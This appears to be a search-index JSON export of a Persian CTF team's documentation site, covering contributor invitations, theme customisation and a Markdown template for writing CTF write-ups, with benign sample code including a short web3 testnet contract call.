\u0627\u06af\u0631 \u062a\u0645\u0627\u06cc\u0644 \u062f\u0627\u0631\u06cc\u062f \u06a9\u0647 \u062f\u0627\u0646\u0634 \u0648 \u062a\u062c\u0631\u0628\u0647 \u062e\u0648\u062f \u062f\u0631 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc CTF \u0631\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u062f\u06cc\u06af\u0631\u0627\u0646 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f \u062e\u0648\u0634\u062d\u0627\u0644 \u062e\u0648\u0627\u0647\u06cc\u0645 \u0634\u062f \u06a9\u0647 \u0627\u0632 \u0628\u0633\u062a\u0631 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0634\u0645\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0628\u062a\u062f\u0627 \u0646\u06a9\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0646\u06af\u0627\u0631\u0634 \u0631\u0627\u06cc\u062a\u0627\u067e \u0648 \u0646\u062d\u0648\u0647 \u0646\u0648\u0634\u062a\u0646 \u0628\u0627 \u0641\u0631\u0645\u062a md \u0631\u0627 \u0645\u0637\u0627\u0644\u0639\u0647 \u06a9\u0646\u06cc\u062f \u062a\u0627 \u0628\u0639\u062f \u0627\u0632 \u0628\u0627\u0632\u0628\u06cc\u0646\u06cc \u0631\u0627\u06cc\u062a\u0627\u067e\u060c \u0622\u0646 \u0631\u0627 \u0628\u0627 \u0646\u0627\u0645 \u062e\u0648\u062f\u062a\u0627\u0646 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0646\u06cc\u0645.

\u0628\u0631\u0627\u06cc \u0639\u0636\u0648\u06cc\u062a \u062f\u0631 \u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc \u0647\u06cc\u0686 \u0645\u062d\u062f\u0648\u062f\u06cc \u0627\u0632 \u0644\u062d\u0627\u0638 \u0633\u0637\u062d \u062f\u0627\u0646\u0634 \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0631\u062f \u0648 \u062a\u0646\u0647\u0627 \u0645\u0644\u0627\u06a9 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0644\u0627\u0634 \u0648 \u067e\u0634\u062a\u06a9\u0627\u0631 \u0641\u0631\u062f \u062f\u0631 \u0637\u0648\u0644 \u0632\u0645\u0627\u0646 \u0627\u0633\u062a. \u0628\u0631\u0627\u06cc \u0639\u0636\u0648\u06cc\u062a \u062f\u0631 \u062a\u06cc\u0645\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0641\u0631\u0645 \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0631\u0627 \u067e\u0631 \u06a9\u0646\u06cc\u062f \u06cc\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u062f\u06cc\u0633\u06a9\u0648\u0631\u062f \u0628\u0647 \u0622\u062f\u0631\u0633 mheidari98 \u067e\u06cc\u0627\u0645 \u062f\u0647\u06cc\u062f.

\u062a\u0647\u06cc\u0647 \u0645\u0642\u0627\u0644\u0647\u200c\u0647\u0627\u06cc \u067e\u0698\u0648\u0647\u0634\u06cc \u0641\u0627\u0631\u0633\u06cc \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 CTF \u06cc\u0627 \u062a\u0635\u0627\u0648\u06cc\u0631 \u0648 \u0648\u06cc\u062f\u06cc\u0648\u0647\u0627\u06cc \u0622\u0645\u0648\u0632\u0634\u06cc \u0646\u06cc\u0632 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0632 \u0645\u0648\u0627\u0631\u062f \u0647\u0645\u06a9\u0627\u0631\u06cc \u0628\u0627 \u0645\u0627 \u0628\u0627\u0634\u062f.

"},{"location":"getStarted/customization/","title":"\u0634\u062e\u0635\u06cc\u200c\u0633\u0627\u0632\u06cc","text":""},{"location":"getStarted/customization/#_2","title":"\u0627\u0646\u0648\u0627\u0639 \u0632\u0645\u06cc\u0646\u0647\u200c\u0647\u0627\u06cc \u0631\u0646\u06af\u06cc","text":""},{"location":"getStarted/customization/#_","title":"\u06f1_ \u0631\u0648\u0634\u0646 \u0648 \u062a\u0627\u0631\u06cc\u06a9 \u0628\u0648\u062f\u0646 \u067e\u0633\u200c\u0632\u0645\u06cc\u0646\u0647","text":"

\u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0648\u06cc\u0698\u06af\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0631\u0627\u0633\u0627\u0633 \u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0645\u0631\u0648\u0631\u06af\u0631 \u0648 \u0633\u06cc\u0633\u062a\u0645\u060c \u0628\u0647 \u0637\u0648\u0631 \u062e\u0648\u062f\u06a9\u0627\u0631 \u06cc\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0628\u06cc\u0646 \u0632\u0645\u06cc\u0646\u0647\u200c\u0647\u0627\u06cc \u0631\u0648\u0634\u0646 \u0648 \u062a\u0627\u0631\u06cc\u06a9 \u062c\u0627\u0628\u062c\u0627 \u0634\u0648\u06cc\u062f.

Default Slate"},{"location":"getStarted/customization/#__1","title":"\u06f2_ \u0631\u0646\u06af\u200c\u0647\u0627\u06cc \u0642\u0627\u0644\u0628 \u0627\u0635\u0644\u06cc","text":"

\u0628\u0631\u0627\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u0631\u0646\u06af \u0627\u0635\u0644\u06cc \u0642\u0627\u0644\u0628 \u0627\u0635\u0644\u06cc \u0631\u0648\u06cc \u0628\u0644\u0648\u06a9 \u0631\u0646\u06af \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u062f.

Red Pink Purple Deep Purple Indigo Blue Light Blue Cyan Teal Green Light Green Lime Yellow Amber Orange Deep Orange Brown Grey Blue Grey White"},{"location":"getStarted/customization/#__2","title":"\u06f3_ \u0631\u0646\u06af\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u062a\u0627\u06a9\u06cc\u062f","text":"

\u0628\u0631\u0627\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u0631\u0646\u06af \u0628\u062e\u0634\u200c\u0647\u0627\u06cc \u062a\u0627\u06a9\u06cc\u062f\u06cc \u0645\u0627\u0646\u0646\u062f \u0639\u0628\u0648\u0631 \u0645\u0627\u0648\u0633 \u0627\u0632 \u0631\u0648\u06cc \u0644\u06cc\u0646\u06a9\u200c\u0647\u0627 \u0648 \u0628\u0631\u0686\u0633\u0628\u200c\u0647\u0627\u060c \u0631\u0648\u06cc \u0628\u0644\u0648\u06a9 \u0631\u0646\u06af\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u062e\u0648\u062f \u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u062f.

Red Pink Purple Deep Purple Indigo Blue Light Blue Cyan Teal Green Light Green Lime Yellow Amber Orange Deep Orange"},{"location":"getStarted/template/","title":"\u0646\u062d\u0648\u0647 \u0646\u0648\u0634\u062a\u0646 \u0628\u0627 \u0641\u0631\u0645\u062a Markdown","text":"

\u0628\u0631\u0627\u06cc \u0646\u0648\u0634\u062a\u0646 \u0631\u0627\u06cc\u062a\u0627\u067e \u0628\u0627 \u0641\u0631\u0645\u062a md \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u062a\u0646 \u0628\u0627\u0632 Joplin \u062f\u0631 \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0627\u06cc\u0646 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u060c \u0641\u0631\u0645\u062a md \u0648 \u0632\u0628\u0627\u0646 \u0641\u0627\u0631\u0633\u06cc \u0631\u0627 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0646\u0648\u0634\u062a\u0647\u200c\u0647\u0627 \u062f\u0631 \u0622\u0646 \u0627\u0632 \u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u067e\u0633 \u0627\u0632 \u062f\u0627\u0646\u0644\u0648\u062f \u0648 \u0646\u0635\u0628 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 Joplin, \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062c\u0647\u062a \u0633\u0647\u0648\u0644\u062a \u062f\u0631 \u0646\u0648\u0634\u062a\u0646 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627\u06cc \u062e\u0648\u062f\u060c \u0627\u0632 \u0627\u06cc\u0646 \u0646\u0645\u0648\u0646\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0642\u0627\u0644\u0628\u06cc \u0628\u0631\u0627\u06cc \u0646\u06af\u0627\u0631\u0634 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0627\u06cc\u0646 \u0628\u062e\u0634\u060c \u0627\u0646\u0648\u0627\u0639 \u0639\u0646\u0627\u0635\u0631 \u0646\u0648\u0634\u062a\u0627\u0631\u06cc Markdown \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u0646\u0645\u0627\u06cc\u0634 \u0622\u0646 \u062f\u0631 \u0633\u0627\u06cc\u062a \u062f\u0631 \u062f\u0648 \u062a\u0628 \u062c\u062f\u0627\u06af\u0627\u0646\u0647 \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u0622\u0646\u200c\u0647\u0627 \u062f\u0631 \u0646\u0648\u0634\u062a\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0639\u0646\u0627\u0635\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627\u0639\u062b \u0627\u0631\u062a\u0642\u0627 \u0633\u0627\u062e\u062a\u0627\u0631 \u0648 \u062e\u0648\u0627\u0646\u0627\u06cc\u06cc \u0631\u0627\u06cc\u062a\u0627\u067e \u0634\u0645\u0627 \u06af\u0631\u062f\u062f.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a \u0641\u0631\u0645\u062a Markdown
## \u0632\u06cc\u0631\u0628\u062e\u0634 1\n\n### \u0632\u06cc\u0631\u0628\u062e\u0634 2    \n\n#### \u0632\u06cc\u0631\u0628\u062e\u0634 3\n\n##### \u0632\u06cc\u0631\u0628\u062e\u0634 4\n\n###### 5 \u0632\u06cc\u0631\u0628\u062e\u0634 \n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_1","title":"\u0632\u06cc\u0631\u0628\u062e\u0634 \u06f1","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_2","title":"\u0632\u06cc\u0631\u0628\u062e\u0634 \u06f2","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_3","title":"\u0632\u06cc\u0631\u0628\u062e\u0634 \u06f3","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_4","title":"\u0632\u06cc\u0631\u0628\u062e\u0634 \u06f4","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_5","title":"\u0632\u06cc\u0631\u0628\u062e\u0634 \u06f5","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_6","title":"\u062d\u0627\u0644\u062a\u200c\u0647\u0627\u06cc \u0646\u0648\u0634\u062a\u0627\u0631\u06cc","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0628\u0627 \u0627\u0646\u0648\u0627\u0639 \u0646\u0648\u0634\u062a\u0627\u0631 \u0645\u0627\u0646\u0646\u062f \u0636\u062e\u06cc\u0645 \u06a9\u0631\u062f\u0646 \u06cc\u0627 \u0632\u0627\u0648\u06cc\u0647 \u062f\u0627\u062f\u0646 \u0628\u0647 \u06a9\u0644\u0645\u0627\u062a\u060c \u0627\u0631\u062c\u0627\u0639 \u062f\u0627\u062f\u0646 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0644\u06cc\u0646\u06a9 \u0648 \u0646\u062d\u0648\u0647 \u0646\u0642\u0644 \u0642\u0648\u0644 \u06af\u0630\u0627\u0634\u062a\u0646 \u062f\u0631 \u062f\u0627\u062e\u0644 \u0645\u062a\u0646 \u0622\u0634\u0646\u0627 \u062e\u0648\u0627\u0647\u06cc\u062f \u0634\u062f.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

\u0636\u062e\u06cc\u0645 \u06a9\u0631\u062f\u0646 \u0646\u0648\u0634\u062a\u0647

\u0632\u0627\u0648\u06cc\u0647 \u062f\u0627\u0631 \u0628\u0648\u062f\u0646 \u0645\u062a\u0646

\u0642\u0631\u0627\u0631\u062f\u0627\u062f\u0646 \u0644\u06cc\u0646\u06a9 \u062f\u0631 \u0645\u062a\u0646

\u0646\u0642\u0644 \u0642\u0648\u0644 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0627\u0633\u062a

    **\u0636\u062e\u06cc\u0645 \u06a9\u0631\u062f\u0646 \u0646\u0648\u0634\u062a\u0647**   \n\n    *\u0632\u0627\u0648\u06cc\u0647 \u062f\u0627\u0631 \u0628\u0648\u062f\u0646 \u0645\u062a\u0646*\n\n    \u0642\u0631\u0627\u0631\u062f\u0627\u062f\u0646 [\u0644\u06cc\u0646\u06a9](https://flagmotori.github.io/) \u062f\u0631 \u0645\u062a\u0646\n\n    >  \u0646\u0642\u0644 \u0642\u0648\u0644 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0627\u0633\u062a \n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_7","title":"\u0641\u0631\u0645\u0648\u0644 \u0646\u0648\u06cc\u0633\u06cc","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#-","title":"\u06f1- \u0641\u0631\u0645\u0648\u0644 \u062f\u0631 \u0645\u062a\u0646","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

\u062e\u0648\u0634\u200c\u0628\u062e\u062a\u0627\u0646\u0647 \u0645\u0627\u0631\u06a9\u062f\u0627\u0648\u0646 \u0627\u0632 \u0641\u0631\u0645\u0648\u0644 \u0646\u0648\u06cc\u0633\u06cc Latex \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0646\u0648\u0634\u062a\u0627\u0631 \u0631\u06cc\u0627\u0636\u06cc \u062f\u0631 \u062f\u0627\u062e\u0644 \u0645\u062a\u0646 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \\Sigma[(a^b)+c]* \\sqrt d =23 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f.

\u062e\u0648\u0634\u0628\u062e\u062a\u0627\u0646\u0647 \u0645\u0627\u0631\u06a9\u062f\u0627\u0648\u0646 \u0627\u0632 \u0627\u0632 \u0641\u0631\u0645\u0648\u0644 \u0646\u0648\u06cc\u0633\u06cc Latex \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc \u06a9\u0646\u062f. \n\u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0646\u0648\u0634\u062a\u0627\u0631 \u0631\u06cc\u0627\u0636\u06cc \u062f\u0631 \u062f\u0627\u062e\u0644 \u0645\u062a\u0646 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a  $\\Sigma[(a^b)+c] *\\sqrt d =23$  \u0645\u06cc \u062a\u0648\u0627\u0646 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f.\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#-_1","title":"\u06f2- \u0641\u0631\u0645\u0648\u0644 \u0646\u0648\u06cc\u0633\u06cc \u062f\u0631 \u0648\u0633\u0637 \u0635\u0641\u062d\u0647","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown m^5 \\equiv a2 \\times{a1^{-1}} \\mod \\varphi (n)
$$\nm^5 \\equiv  a2 \\times{a1^{-1}} \\mod \\varphi (n)\n$$ \n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_8","title":"\u0627\u0646\u0648\u0627\u0639 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u0648 \u0646\u06a9\u062a\u0647\u200c\u06af\u0630\u0627\u0631\u06cc :","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u0647\u0627 \u06cc\u0627 \u0646\u06a9\u0627\u062a \u0645\u0647\u0645 \u0631\u0627 \u0642\u0631\u0627\u0631 \u062f\u0647\u06cc\u062f. \u0644\u0637\u0641\u0627 \u0646\u06a9\u0627\u062a \u0627\u0634\u0627\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0627\u06cc\u0646 \u0642\u0633\u0645\u062a \u0631\u0627 \u062f\u0631 \u0631\u0627\u06cc\u062a\u0627\u067e \u062e\u0648\u062f \u0631\u0639\u0627\u06cc\u062a \u06a9\u0646\u06cc\u062f.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

Info

\u0646\u06a9\u062a\u0647 \u0628\u0633\u06cc\u0627\u0631 \u0645\u0647\u0645 : \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0628\u0627\u06cc\u062f \u0642\u0648\u0627\u0646\u06cc\u0646 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0633\u0631\u0642\u062a \u0627\u062f\u0628\u06cc \u0631\u0627 \u0631\u0639\u0627\u06cc\u062a \u06a9\u0646\u062f. \u062f\u0631\u063a\u06cc\u0631 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0639\u0648\u0627\u0642\u0628 \u0622\u0646 \u0645\u062a\u0648\u062c\u0647 \u062e\u0648\u062f \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.

\u06cc\u0627\u062f\u062f\u0627\u0634\u062a 1

\u0645\u06cc \u062a\u0648\u0627\u0646 \u0646\u0627\u0645 \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0631\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0630\u06a9\u0631 \u06a9\u0631\u062f.

\u06cc\u0627\u062f\u062f\u0627\u0634\u062a 2

Flag

\u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u06a9\u0647 \u0641\u0644\u06af \u0631\u0627 \u062f\u0627\u062e\u0644 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u06af\u0630\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u062f\u0647\u06cc\u062f.

    !!! info\n        **\u0646\u06a9\u062a\u0647 \u0628\u0633\u06cc\u0627\u0631 \u0645\u0647\u0645** : \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0628\u0627\u06cc\u062f \u0642\u0648\u0627\u0646\u06cc\u0646 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 **\u0633\u0631\u0642\u062a \u0627\u062f\u0628\u06cc** \u0631\u0627 \u0631\u0639\u0627\u06cc\u062a \u06a9\u0646\u062f. \u062f\u0631\u063a\u06cc\u0631 \u0627\u06cc\u0646\u0635\u0648\u0631\u062a \u0639\u0648\u0627\u0642\u0628 \u0622\u0646 \u0645\u062a\u0648\u062c\u0647 \u062e\u0648\u062f \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.\n\n    !!! note \"\u06cc\u0627\u062f\u062f\u0627\u0634\u062a 1\"\n         \u0645\u06cc \u062a\u0648\u0627\u0646 \u0646\u0627\u0645 \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0631\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0630\u06a9\u0631 \u06a9\u0631\u062f.\n\n    !!! note \"\"\n        \u06cc\u0627\u062f\u062f\u0627\u0634\u062a 2\n\n    ??? success \"Flag\"\n        \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0641\u0644\u06af \u0631\u0627 \u062f\u0627\u062e\u0644 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u06af\u0630\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u062f\u0647\u06cc\u062f.\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_9","title":"\u0627\u0646\u0648\u0627\u0639 \u0646\u0645\u0627\u06cc\u0634 \u06a9\u062f:","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_10","title":"\u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0631 \u062e\u0637 \u0641\u0631\u0645\u0627\u0646:","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown
> pip install pycryptodome\n> import numpy as np\n
    ```\n        > pip install pycryptodome\n        > import numpy as np\n    ```\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_11","title":"\u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0645\u0633\u062a\u0642\u06cc\u0645 \u06a9\u062f \u062f\u0631 \u0635\u0641\u062d\u0647:","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown simple.py
import math\n\nfor i in range(10):\n    print(f\"\u0633\u0644\u0627\u0645 \u062f\u0646\u06cc\u0627\")\n    p = 2**(i+1)\n    n = 3*p\n    print(f\"{n = }\")\nelse:\n    print(\"Done!\")\n
    ```python title=\"simple.py\" linenums=\"1\" hl_lines=\"5 6 7\"\n    import math\n\n    for i in range(10):\n        print(f\"\u0633\u0644\u0627\u0645 \u062f\u0646\u06cc\u0627\")\n        p = 2**(i+1)\n        n = 3*p\n        print(f\"{n = }\")\n    else:\n        print(\"Done!\")\n    ```\n

\u0628\u062f\u0648\u0646 \u0634\u0645\u0627\u0631\u0647 \u062e\u0637 \u0648 \u0647\u0627\u06cc\u0644\u0627\u062a \u06a9\u0631\u062f\u0646 \u062e\u0637\u0648\u0637

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown
print(\"Hello world!\")\nn=1\nfor i in range(10): \n    p = 2**(i+1)\n    n = 3*n\nprint(n)\n
    ```py\n    print(\"Hello world!\")\n    n=1\n    for i in range(10):\n        p = 2**(i+1)\n        n = 3*n\n    print(n)\n    ```\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_12","title":"\u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u06a9\u062f \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0632 \u062e\u0627\u0631\u062c \u0635\u0641\u062d\u0647","text":"

\u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u0639\u0644\u0627\u0645\u062a # \u0631\u0627 \u0627\u0632 \u0642\u0633\u0645\u062a \u0622\u062f\u0631\u0633\u200c\u062f\u0647\u06cc \u062f\u0631 \u0641\u0631\u0645\u062a markdown \u062d\u0630\u0641 \u06a9\u0646\u06cc\u062f. \u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u062c\u0647\u062a \u0646\u0645\u0627\u06cc\u0634 \u0622\u062f\u0631\u0633\u200c\u062f\u0647\u06cc \u0622\u0646 \u0631\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u0627\u06cc\u0645.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown main.py
from web3 import Web3\nimport json\n\nsetupContract = \"0x1AC90AFd478F30f2D617b3Cb76ee00Dd73A9E4d3\"\nurl = \"https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8\"\nprovider = Web3(Web3.HTTPProvider(url))\n\nwith open(\"setup.json\") as f:       #json file with the contract ABI\n    setup_json = json.load(f)\n\nsetup = provider.eth.contract(address=setupContract, abi = setup_json)\n\nprint(setup.functions.enterVenue().call())\n
    ```py title=\"main.py\"\n    #--8<-- \"docs/getStarted/main.py\"\n    ```\n
